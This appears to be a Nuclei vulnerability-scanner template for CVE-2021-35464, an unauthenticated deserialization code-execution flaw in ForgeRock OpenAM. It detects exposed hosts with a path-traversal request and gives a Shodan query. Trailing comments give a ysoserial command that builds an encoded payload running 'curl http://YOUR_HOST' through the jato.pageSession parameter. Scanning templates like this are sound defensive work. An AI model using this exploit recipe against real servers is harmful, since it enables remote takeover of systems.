57 lines
2.0 KiB
YAML
57 lines
2.0 KiB
YAML
id: CVE-2021-35464
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info:
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name: ForgeRock OpenAM <7.0 - Remote Code Execution
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author: madrobot
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severity: critical
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description: |
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ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
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The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
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/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
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found in versions of Java 8 or earlier.
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reference:
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- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
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- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
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- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
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- https://bugster.forgerock.org
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-35464
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cwe-id: CWE-502
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epss-score: 0.97409
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cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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shodan-query: http.title:"OpenAM"
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vendor: forgerock
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product: am
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tags: cve,cve2021,openam,rce,java,kev,kev,packetstorm
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http:
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- method: GET
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path:
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- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "Set-Cookie: JSESSIONID="
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- type: word
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part: body
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words:
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- "Version Information -"
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- "openam/ccversion/Masthead.jsp"
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condition: or
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- type: status
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status:
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- 200
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# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
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# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
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